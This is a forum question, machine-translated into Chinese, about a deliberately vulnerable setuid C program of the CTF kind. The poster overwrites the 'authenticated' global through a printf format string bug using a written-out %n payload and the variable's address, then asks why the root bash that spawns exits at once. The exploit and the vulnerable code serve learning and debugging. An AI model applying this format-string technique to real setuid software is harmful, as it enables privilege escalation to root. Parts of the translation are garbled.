我有一个具有 printf 格式字符串漏洞的 Setuid 二进制文件,该漏洞应该被“%n”利用以覆盖authenticated
全局变量的值。/bin/bash 的执行在 时使用 root Setuid 权限authenticated = 1
,但在authenticated = 0
使用漏洞利用时无效。
我已经尝试过ls
并且它有效,所以执行程序正在发生。我也尝试过authenticated = 1
在源代码中制作,所以它会自动运行 bash 而不会被利用。这适用于生成根外壳。使用漏洞利用程序时,程序按预期调用访问权限函数,但在 exec 处结束并且永远不会到达 perror。但是,父进程死了,这意味着 bash 的 exec 一定已经发生了。Bash 必须正在执行,但它在启动时崩溃/退出。
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
int authenticated = 0;
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
int cpid = fork();
if(cpid == 0){
printf("child!\n");
execlp("/bin/bash", "bash", NULL);
perror("error");
}
else{
wait(NULL);
}
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
setreuid(geteuid(), getuid());
printf("Would you like a shell? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
在authenticated = 0 的情况下,我使用gdb 来查找authenticated
0x0804a050 之类的地址。我用 AAAA %x %x %x... 运行程序,发现它buf
从第 4 个堆栈位置开始。然后我的利用是:python -c "print('\x50\xa0\x04\x08%x%x%x%n')"
它成功地将全局变量覆盖为“授予访问权限!” 被打印。perror 永远不会达到,并且 Bash 必须产生,但是父进程死了,所以 Bash 进程也必须死。时不会发生这种情况authenticated = 1
。在这种情况下,Setuid 二进制文件按预期运行并弹出一个根 shell。
我的问题是:为什么 Bash 在启动时会死掉,但只有在 Detuid 二进制文件被利用时?Bash 一定要死了,因为ps -aux
没有列出新的 Bash 进程,并且运行exit
退出调用 bash 实例。